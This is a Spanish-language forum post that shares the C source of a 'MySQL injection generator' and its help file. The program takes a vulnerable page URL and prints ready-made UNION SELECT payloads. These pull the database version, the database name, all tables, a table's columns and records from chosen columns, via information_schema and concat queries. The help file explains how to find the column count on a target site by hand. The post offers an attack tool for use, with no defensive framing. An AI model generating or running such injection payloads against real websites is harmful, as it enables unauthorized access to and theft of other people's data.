[ANSI C]Codigo fuente del generador de mysql inyection.

Iniciado por volteo0101, 28 Febrero 2011, 15:12 PM

0 Miembros y 1 Visitante están viendo este tema.

volteo0101

Version 0.1(Compilado para windows) :

Opciones disponibles hasta el momento:

  • Sacar base de datos actual de la pagina.
  • Sacar version del mysql.
  • Sacar todas las tablas de la base de datos.
  • Sacar todas las columnas de una tabla.
  • Sacar 2 registros por ejecucion de una columna de la tb.



    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #define N_ELEMENTOS 999

    //PHAMTOM
    //Gretz : Fer995,BlackCoder & 3mp3z@ndo
    void finalmenu()
    {
        printf("\n\n");
    printf("1-Volver al menu\n");
        printf("\n2-Salir\n ==> ");
       
    }



    void tablax()
    {
        system("cls");
        printf("Nombre de tabla a sacar columnas ==>");
       
    }
    void ncolumnas()
    {
        system("cls");
    printf("Numero de columna que se imprime en pantalla ==> ");
    }
    void columnas()
    {
    system("cls");
    printf("Si no entendiste este paso , visita la parte de ayuda del programa");
    printf("\nNumeros de columnas de la pagina => ");
    }

    void menu()
    {
    printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
    printf("\n1-Sacar version del mysql");
    printf("\n2-Sacar base de datos que corre la pagina");
    printf("\n3-Sacar todas las tablas de la base de datos");
    printf("\n4-Sacar todas las columnas de una tabla");
    printf("\n5-Sacar registros de la columna de una base de datos\n");
    printf("\n\nOpciones\n\n");
    printf("\n6-Ayuda");
    printf("\n7-Salir");
    printf("\n\n\nElige => ");
    }
    void error()
    {
    system("cls");
    printf("\nError..El programa se ha cerrado.");
    printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
    system("pause>Nul");
    exit(-1);
    }
    int main()
    {
       system("cls");
    int o=0,n=0,c=0,z=0,k=0,ii=0;
    char tablaxx[N_ELEMENTOS];

    char columna2[N_ELEMENTOS];
    char target[N_ELEMENTOS];
    char tebla[N_ELEMENTOS];
    char columna1[N_ELEMENTOS];
    char columnaa[N_ELEMENTOS];
    printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
    printf("Target vulnerable => ");
    scanf("%s",target);
    n=strlen(target);
    if(n>999)
    {
    error();
    }
    if(n<=999)
    {
    system("cls");


    system("title Generador de inyecciones MySql escrito por PHAMTOM.");
    menu();
    scanf("%d",&o);
    if(o==1)
    {
    columnas();
    scanf("%d",&c);
    system("cls");
    printf("Numero de columna que se imprime en pantalla ==> ");
    scanf("%d",&z);
    system("cls");
    printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("version(),");
                   }
                 
                           
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b \b --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
    if(o==2)
    {
       
    columnas();
    scanf("%d",&c);
    system("cls");
    printf("Numero de columna que se imprime en pantalla ==> ");
    scanf("%d",&z);
    system("cls");
    printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("database(),");}
                   
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b \b --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
           if(o==3)
           {
                   system("cls");
           printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
    printf("\n");
           
                   {
    columnas();
    scanf("%d",&c);
    ncolumnas();
    scanf("%d",&z);
    system("cls");
    printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("group_concat(table_name),");
                   }
                   
                                       else{
                                           
    printf("%d,",j);

    }
    }
    printf("\b");
    printf("+from+information_schema.tables+where+table_schema=database() --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
                       }}
                       if(o==4)
                       {
                               system("cls");
                               printf("\n\nSacar columnas de una tabla\n\n");
                                           
         
           
                   {
    columnas();
    scanf("%d",&c);
    ncolumnas();
    scanf("%d",&z);
    system("cls");
    tablax();
    scanf("%s",tablaxx);
    system("cls");
    printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("group_concat(column_name),");}
                   
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b");
    printf("+from+information_schema.columns+where+table_name=char(");
    int v=strlen(tablaxx);
    for(int a=0;a<=v;a++)
    {
           printf("%d,",tablaxx[a]);
           }
           printf("\b\b\b) --");
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
    if(ii==1)
    {
            main();
            }
            if(ii==2)
            {
                     system("msg * gracias por usar el programa");
                     exit(-1) ;
                     }
                     else
                     {
                         error();
                     }
    system("pause>Nul");
    }
                       }
                               
                               
                               if(o==5)
                               {
                                       system("cls");
                                       printf("Sacar registros de una columna de una DB.\n");
                                       columnas();
                                       scanf("%d",&c);
                                       ncolumnas();
                                       scanf("%d",&z);
                                       system("cls");
                                       printf("Escriba el nombre de la tabla a sacar datos : ");
                                       scanf("%s",tebla);
                                       system("cls");
                                       printf("Escriba la columna 1 : ");
                                       scanf("%s",columna1);
                                       system("cls");
                                       printf("Escriba la columna 2 : ");
                                       scanf("%s",columnaa);
                                       printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
    for(int j=0;j<=c;j++)
    {
           if(z==j)
           {
                   printf("concat(%s,0x3a,%s),",columna1,columnaa);}
                   
                                       else{
    printf("%d,",j);
    }
    }
    printf("\b \b+from+%s --",tebla);
    printf("\n\nDone!!");
    finalmenu();
    scanf("%d",&ii);
                 if(ii==1)
                 {
                          main();
                         
                          }            
                          else if(ii>2)
                          {
                               error();
                           }        
                           if(ii==2)
                           {
                                    system("cls");
                                    system("msg * gracias por usar el programa");
                                   exit(-1);
                                    }
                                   
                                 
    }
    if(o==6)
    {
           system("start ayuda.txt");
           }
           if(o==7)
           {
                   exit(-1);
                   }
                   if(o>7)
                   {
                          error();
                          }
           
    }


    Ayuda.txt


    Este pad , no tiene como fin explicar el porque , ni como
    realizar una inyeccion mysql , solo es para aclarar
    los datos que pide el programa.

    Cuando te pide numeros de columnas :

    Esta es la unica parte que tenes que hacer manualmente
    el generador luego te ayuda para imprimir datos, columnas,tablas.-
    Busca un target vulnerable, o alguna pagina
    que sea vulnerable a mysql inyection.
    -1+union+select+0,1,2,3,4,5,6 -- sacas el numero de columnas
    el 6 en este caso , es el numero ,por lo tanto cuando
    te pide numero de columnas respondemos con 6.

    Cuando el programa pide numero de columna que imprime
    nos fijamos cual de las comunas, en mi caso , 1,2,3,4,5,6 imprime en pantalla.
    para que el programa pueda generar la sql query correcta.


    Lo demas para sacar datos de las columnas , sacar tablas
    Nos podemos hiar dependiendo de como responde la pagina.

    Gracias por descargar el programa , cualquier duda puedes mandarme un pm.
    por los foros donde veas el usuario PHAMTOM o volteo0101.



    Un saludo :) gracias a los usuarios que respondieron mi post de dudas sobre cadenas de caracteres.